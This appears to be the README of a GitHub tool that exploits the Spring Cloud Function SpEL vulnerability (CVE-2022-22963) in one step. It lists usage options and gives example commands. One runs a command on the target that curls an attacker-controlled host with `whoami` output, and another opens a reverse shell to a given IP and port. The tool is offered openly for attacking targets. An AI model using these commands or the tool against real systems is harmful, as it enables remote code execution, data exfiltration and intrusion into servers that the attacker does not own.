charis3306/cve-2022-22963spring cloud function 一键利用工具! by charis 博客https://charis3306.top/
usage: Spring-cloud-function-spel0.2.exe [-h] --check CHECK [--route ROUTE] --url URL [--ip IP] [--port PORT] [--proxies PROXIES] [--cmd CMD]
spring cloud function one-click exploitation tool! by charis Blog https://charis3306.top/
options:
-h, --help show this help message and exit
--check CHECK Detection method, post or get mode --check get --check post
--route ROUTE Detection route, default is functionRouter
--url URL Target URL to exploit
--ip IP IP address for reverse shell
--port PORT Port for reverse shell
--proxies PROXIES Enable proxy
--cmd CMD Command to execute
--check is mandatory
Spring-cloud-function-spel0.2.exe --help
Default detection: --check is mandatory, --route is the vulnerable route. Note: there may be false positives if detection is not performed via dnslog or sleep!
Spring-cloud-function-spel0.2.exe --check post --url http://www.charis3306.top
Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --cmd "curl http://192.168.1.3:8080/`whoami`"
Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --ip 192.168.1.3 --port 9999
